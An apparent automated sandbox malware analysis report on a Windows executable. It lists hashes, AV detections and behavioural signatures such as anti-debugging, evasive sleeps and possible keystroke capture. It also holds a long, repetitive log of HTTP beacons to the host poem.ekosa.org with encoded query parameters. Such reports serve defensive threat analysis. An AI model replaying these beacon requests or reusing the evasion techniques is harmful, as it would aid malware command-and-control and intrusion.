Analysis Report WVbU1Gf5p8

Overview

General Information

Sample Name:	WVbU1Gf5p8 (renamed file extension from none to exe)
Analysis ID:	338142
MD5:	69f7cde70cc22aceb5dd32ff1dc3f685
SHA1:	f87ee3079aaa5230e107ff9684e7cdea2162caf6
SHA256:	625f63364312cec78a4c91abedba868d551d79185ff73e388f561017b13347f0
Most interesting Screenshot:

Detection

Score:	60
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Submitted sample is a known malware sample

Machine Learning detection for sample

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a DirectInput object (often for capturing keystrokes)

Detected potential crypto function

May sleep (evasive loops) to hinder dynamic analysis

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Signatures

AV Detection:

Antivirus / Scanner detection for submitted sample

Source: WVbU1Gf5p8.exe

Avira: detected

Multi AV Scanner detection for submitted file

Source: WVbU1Gf5p8.exe	Virustotal: Detection: 71%			Perma Link
Source: WVbU1Gf5p8.exe	ReversingLabs: Detection: 66%

Machine Learning detection for sample

Source: WVbU1Gf5p8.exe

Joe Sandbox ML: detected

Compliance:

Uses 32bit PE files

Source: WVbU1Gf5p8.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: WVbU1Gf5p8.exe

Static PE information: TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe

Code function: 0_2_012385AB FindFirstFileExA,

0_2_012385AB

Networking:

Uses a known web browser user agent for HTTP communication

Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
